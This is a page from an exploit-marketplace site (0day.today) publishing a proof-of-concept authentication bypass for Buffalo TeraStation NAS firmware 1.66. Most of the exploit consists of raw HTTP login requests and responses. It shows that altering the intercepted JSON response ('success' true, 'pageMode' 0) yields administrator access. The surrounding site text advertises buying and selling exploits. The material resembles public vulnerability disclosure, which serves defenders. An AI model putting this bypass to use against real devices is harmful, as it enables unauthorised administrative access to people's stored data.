0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass Vulnerability
# Exploit Title: Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass # Exploit Author: JORDAN GLOVER # Type: WEBAPPS # Platform: HARDWARE # Vendor Homepage: https://www.buffalotech.com/ # Model: TeraStation Series # Firmware Version: 1.66 # Tested on: Windows 10 An authentication bypass vulnerability found within the web interface of a Buffalo TeraStation Series Network Attached Storage (NAS) device, allows an unauthenticated malicious actor to gain administrative privileges. The web interface can be accessed via port 80 or 443 via a web browser. Once accessed you will be presented with a login page, that requires a username and password to gain authentication to the NAS. Using a proxy tool to intercept the request and responses, it was possible re-intercept the response and modify the JSON data, contained within the body. If you modify the "success" to 'true' and change "Pagemode" to '0', this will grant you authentication with administrator privileges, to the NAS. POC #1 Authentication Failure Request POST /dynamic.pl HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Content-Length: 45 Origin: http://localhost Connection: close Referer: http://localhost/static/index.html bufaction=verifyLogin&user=Jordan&password=Jordan Response HTTP/1.1 200 OK Content-type: text/html Pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Expires: Thu, 01 Dec 1994 16:00:00 GMT Connection: close Date: Mon, 30 Jun 2008 02:39:51 GMT Server: lighttpd/1.4.32 Content-Length: 94 {"success":false,"errors":[],"data":[{"sid":"zz69c1c4d83023374d0b786d7a5y69b0","pageMode":2}]} Incorrect Username or Password POC #2 Authentication Success Request POST /dynamic.pl HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Content-Length: 45 Origin: http://localhost Connection: close Referer: http://localhost/static/index.html bufaction=verifyLogin&user=Jordan&password=Jordan Intercepted Response HTTP/1.1 200 OK Content-type: text/html Pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Expires: Thu, 01 Dec 1994 16:00:00 GMT Connection: close Date: Mon, 30 Jun 2008 02:39:51 GMT Server: lighttpd/1.4.32 Content-Length: 94 {"success":true,"errors":[],"data":[{"sid":"ag69c5f4x43093374d0c786k7a9y59h0","pageMode":0}]} Login Successful # 0day.today [2024-07-01] #